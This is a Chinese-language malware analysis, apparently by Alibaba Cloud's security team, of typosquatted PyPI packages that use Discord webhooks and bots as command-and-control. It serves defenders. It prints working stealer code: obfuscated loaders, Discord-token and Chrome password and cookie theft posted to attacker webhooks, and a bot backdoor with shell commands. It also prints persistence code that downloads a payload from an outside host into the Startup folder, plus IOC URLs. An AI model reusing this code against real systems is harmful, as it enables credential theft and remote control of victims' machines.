前言
2020年7月,攻击者在PyPI官方仓库中上传了一个名为request的恶意包,致使用户在安装知名Python HTTP库requests时易因为拼写错误而遭受该恶意包攻击;同年11月,随着新冠病毒(COVID-19)在全世界传播,名为covd的恶意包被上传到PyP官方仓库中,旨在模仿一个用于获取新冠病毒实时信息的Python包covid,并成功被广泛传播。
近年,类似的供应链攻击事件披露数量不断上升,其中以PyPi、Npm为代表的第三方包管理仓库尤为受到攻击者的青睐,因该类攻击的攻击难度低且隐蔽性高,影响范围广,给企业和用户带来的安全风险与日俱增。
概述
为应对日益扩大的软件供应链攻击风险,阿里云安全团队对主流第三方包管理仓库进行了持续性安全检测,并在近期侦测到十余起基于Discord的PyPi恶意投毒事件
Discord简介
Discord是近年国外非常火的一款免费网络实时通话平台,同时也是一个游戏玩家的讨论社区。据相关数据统计,2020年3月起,Discord在全球范围内的热度就居高不下,目前该社区月活跃用户已经超过1.4亿。
Discord在提供基本的文字语音等功能的基础上,还免费开放用户制作第三方机器人的能力,并提供了完善的文档和接口。这使得大量开发者也进入到Discord中进行机器人等功能的自定义开发,同时促使了大量的第三方Discord包被上传到各大包管理仓库里。
而在Discord提供的API中,用户可以通过Webhook的功能或是Bot功能向自己的Discord服务器的推送消息,其过程仅需要提供一个token信息。这不仅方便用户进行定制化开发,而其匿名性也为黑客提供了便利,导致越来越多的黑客将视线转向Discord ,Discord的该功能成为了黑客搭建C&C服务器的“风水宝地”。而另一方面,Discord机器人开发者人数上升,其开发过程的软件供应链也成为了黑客的优质目标,通过供应链投毒的手法,恶意软件可以有效的在Discord开发者中传播起来。
事件概况
阿里云安全团队根据IOC与恶意行为特征对PyPi恶意包进行聚类分析发现,多个攻击者最早从2020年7月开始通过不同的用户身份向PyPi仓库不断投递基于Discord进行攻击的恶意包,PyPi下载量统计数据显示,截止目前针对该系列恶意包总下载量超过20000次。
通过恶意包的命名风格可以看出,目前PyPi投毒主要还是以经典的typo攻击模式。恶意包通过模仿正常包包名,使受害用户在安装时因为拼写错误而遭受攻击。其中在用户名为raxishot和nexx74投递的多个恶意包中,还精心伪造了一份内容翔实的Readme文件来伪装自身(如下图),以进一步获取用户信任。
恶意行为
经过分析发现,这一系列针对Discord的恶意包主要攻击目标是Windows操作系统,其实施的恶意行为具有较高的相似性,并且随着时间推移,后期投递的恶意包中存在的恶意行为在不断的添加和完善。
该系列恶意包恶意行为触发方式分为两种,一是在用户执行pip install命令时触发,或是在import导入该恶意包并启动运行时完成触发。其攻击过程均利用Discord作为C&C服务器,所有数据回传和命令下发都会通过Discord的网络通信接口发送到攻击者的Discord服务器中。
2020年7月开始早期投递的恶意包如socketxio、stringhelp、discord-api等包中,恶意行为主要为单一的窃取用户Discord账户的token信息,该token可用于Discord的用户身份认证。
2021年3月由用户7._4d投递的dishelp-python恶意包中,在窃取Discord账户token的基础上,增加了对受害者系统中Chrome浏览器存储的账号密码的窃取。
2021年4月投递的noblesse2和noblessev2中,会同时窃取Chrome和Edge中保存的账号密码以及信用卡信息,以及窃取Windows系统激活密钥,同时还会对受害者屏幕进行截图。
2021年7月上传的colora系列恶意包中,进一步的增加了对Chrome浏览器Cookie的窃取,在窃取Discord账户token的基础上进一步窃取了用户Discord中的个人信息。
2021年8月最近一次投递的针对Discord的恶意包pyfetchx中,攻击者在窃取各项隐私信息的基础上,基于Discord的机器人功能实现了一个完善的后门和持久化能力,危害性进一步提高。
手法分析
检测对抗
在基于Discord的系列恶意包中,部分恶意包对恶意代码进行了一定程度的混淆以对抗静态检测手段。
1、对代码进行编码,如coloramz、Backdoorxrat等恶意包
import base64, codecs
magic = 'aW1wb3J0IGRpc2NvcmQNCmltcG9ydCBvcw0KZnJ...'
love = 'PNtVPNtVPNtVPNtVPOlMKE1pz4tVxAbpz9gMFN8V...'
god = 'AgcGFzcw0KICAgIGRlZiBnZXRjaGF0KHRva2VuLCB...'
destiny = 'tVPO7QDbtVPNtVPNtVPNtVPNtVPNtVPNtVPNt...'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
2、使用marshal库对Python代码对象进行序列化,如DiscordSafety恶意包
import marshal as m
import requests as rq
exec(m.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\...')
3、尝试混淆代码结构,如discord-api恶意包
[
[
__import__("requests").post(
"https://discord.com/api/webhooks/815048322414936075/SnIr7HTGb_Fr48thne92sW2MV2bVpT-OiTt275g50yFNzmD5y10qdetbcBCYH8IrurNq",
data={
"content": "\n```:sparkles:get stealed:sparkles: :: %s```\n"
% (x)
},
)
for x in __import__("re").findall(
r"[a-zA-Z0-9\-]{24}\.[a-zA-Z0-9\-]{6}\.[a-zA-Z0-9\-]{27}|mfa\.[a-zA-Z0-9\-]{84}",
open(
"%s/%s" % (path, file_name), encoding="utf-8", errors="ignore"
).read(),
)
]
for file_name in __import__("os").listdir(path)
if not file_name.endswith(".log")
]
C&C通信
Discord作为C&C服务器的两种方式,一是通过Webhook功能,攻击者可以轻松的将窃取的数据通过一个Webhook URL传输到自己的Discord中;另一个是通过创建Bot,该方式攻击者不仅可以从受害者机器上传数据,还能够从控制端进行命令下发。
在该系列投毒事件中,前期恶意包主要通过Webhook功能来回传窃取的敏感信息:
def __init__(self):
self.url = 'https://discordapp.com/api/webhooks/746555804047507537/SErkxjuHm1FwqSER8ll7DQtmbbjXAtfMtGk88b3O21Ev_uhbxziZ2-5Qz-1nL4RUsMIO'
def do_request(self, item: dict):
requests.post(self.url, data={'content': item})
而后期的一些恶意包则开始使用Bot功能来实现数据双向通信:
@client.event
async def on_message(message):
if message.channel.name != channel_name:
pass
else:
if message.content == "!presistant":
# ......
信息窃取
1、窃取用户Discord token
若用户在电脑中登陆过Discord,通常Discord token会出现在浏览器或Discord应用程序的数据文件中,该token可用于Discord的用户身份认证,可能的数据文件路径如下:
C:\User\[UserName]\AppData\LOCAL\Google\Chrome\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\LOCAL\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\LOCAL\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\Discord\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\discordcanary\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\discordptb\Local Storage\leveldb
Discord token具有一个固定的格式,可以通过正则表达式[a-zA-Z0-9\-]{24}\.[a-zA-Z0-9\-] {6}\.[a-zA-Z0-9\-]{27}|mfa\.[a-zA-Z0-9\-]{84}
进行搜索匹配,具体恶意行为如下:
def gettokens(path):
path += "\\Local Storage\\leveldb"
tokens = []
for file_name in os.listdir(path):
if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
continue
for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
for token in findall(regex, line):
tokens.append(token)
return tokens
2、窃取用户浏览器信息数据
如今各种浏览器为了方便用户使用均提供了记住密码、信用卡等功能,但不幸的是该功能存在着不小的安全隐患 ,而今成为了攻击者窃取密码等数据的有效途径。在该系列恶意包中,Chrome和Edge就成为了信息窃取的目标。
攻击者首先从C:\User\[UserName]\AppData\Local\Google\Chrome\User Data\default\Login Data
获取到Chrome浏览器对数据的解密密钥。
然后访问Chrome保存的用户密码的sqlite数据库C:\User\[UserName]\AppData\Local\Google\Chrome\User Data\Local State
以及保存信用卡的sqlite数据库C:\User\[UserName]\AppData\Local\Google\Chrome\AppData\Local\Google\Chrome\User Data\default\Web Data
,将其中的数据用密钥继续解密后即轻松的完成了对数据的窃取
同时,攻击者还是使用了browser_cookie3
这个Python库来获取用户浏览器中的Cookie信息。
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
# ......
cookies = list(browser_cookie3.chrome())
3、窃取Window系统激活密钥
keys = subprocess.check_output(
'wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
types = subprocess.check_output(
'wmic os get Caption').decode().split('\n')[1].strip()
4、窃取Discord用户数据
当攻击者窃取到了Discord用户的token后,即会尝试通过API获取受害者用户的个人信息、好友、频道、支付情况等数据。
相关恶意代码如下:
def getuserdata(token):
return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
def getfriends(token):
return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
def getchat(token, uid):
return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
def has_payment_methods(token):
return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
5、截屏
在窃取数据的基础上,该系列恶意包中还存在截屏行为
screen = ImageGrab.grab()
screen.save(os.getenv('ProgramData') + r'\desktop.jpg')
后门植入
后门能力主要是通过Discord的Bot功能实现的,攻击者通过在Discord聊天窗口中发出命令,而受害者中的恶意后门将执行相应的操作。
在pyfetchx恶意包中提供了非常强大的后门功能,包括命令执行、文件传输、剪切板读取、截屏甚至Windows UAC绕过功能,对用户安全威胁极大。
@client.event
async def on_message(message):
if message.content == "!presistant": #......
if message.content == "!help": #......
if message.content == "!screenshot": #......
if message.content.startswith("!upload"): #......
if message.content.startswith("!shell"): #......
# .......
同时pyfetchx恶意包还具有持久化能力。恶意包首先将从http://www.dwarforest.tk/updates.txt
下载恶意Python代码,并将其编译为pyc文件后拷贝到\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
开机启动目录中,具体操作如下:
url = "http://www.dwarforest.tk/updates.txt"
response = requests.get(url, stream=True)
with open("mainx.py", "wb") as handle:
for data in tqdm(response.iter_content()):
handle.write(data)
os.system("py -m compileall")
source = r"./__pycache__/mainx.cpython-39.pyc"
destination = os.environ['USERPROFILE'] + os.sep + r'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemprocess.pyc'
shutil.copy(source, destination)
await message.channel.send("`[!] Done with presistance!`")
os.remove("mainx.py")
shutil.rmtree(r"./__pycache__")
IOCs
Discord Webhook URL:
https://discord.com/api/webhooks/845637931749736498/ewOnnjXCvtX1bzTDPhFEe1fFZ4MFh7t-OydnQ3ob2MxQ_sMq2ZXXNIwA36OWBFjP3vbV
https://discord.com/api/webhooks/857801398062415913/gjtazjRjPG5BhM1fMUJfIpsTpkikHkn4j7V7qWYKDQwB_C0KLlu7EhbM6Tn3ZjH4wR29
https://discord.com/api/webhooks/854434670875639829/t03t6B5eUAD9oEYUl1JZSEjCZ4CRyw4C8ZP7BfJ0jXezYMPcyrYEj1fyO72tVWcKp9p1
https://ptb.discord.com/api/webhooks/807327703082074143/uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x
https://discord.com/api/webhooks/815048322414936075/SnIr7HTGb_Fr48thne92sW2MV2bVpT-OiTt275g50yFNzmD5y10qdetbcBCYH8IrurNq
https://discord.com/api/webhooks/818207581465346099/iTb5aFCYX90QwsE_GeblnhX1V9-QOB-JBpp1YdaRrTZvZi_i_JFiBjGkXtZrIO5OFG3P
https://discord.com/api/webhooks/823687444481835028/XfqnGeox1fI_wp2vUgK9HpmfVMOUl9t6HefjfQEhnyQwgtnzyjr_2uYrWDWQlS0NW6mn
https://discord.com/api/webhooks/737341936297574491/iYT-5fQ-rWtwjziy2yZubSc56rekTRvl_cPz7XhTsJi8gnUWnPYfO357x1P0bHGvDJx3
https://discordapp.com/api/webhooks/746555804047507537/SErkxjuHm1FwqSER8ll7DQtmbbjXAtfMtGk88b3O21Ev_uhbxziZ2-5Qz-1nL4RUsMIO
其他URL
http://www.dwarforest.tk/updates.txt
近期其他高危投毒事件
安全建议
相关用户和企业请尽快自查,确保恶意包得到清除
开发者使用第三方库时仔细确认安装方式无误,如避免拼写错误。
企业可建立内部可信软件源和包管理仓库,避免员工下载未知软件或开发组件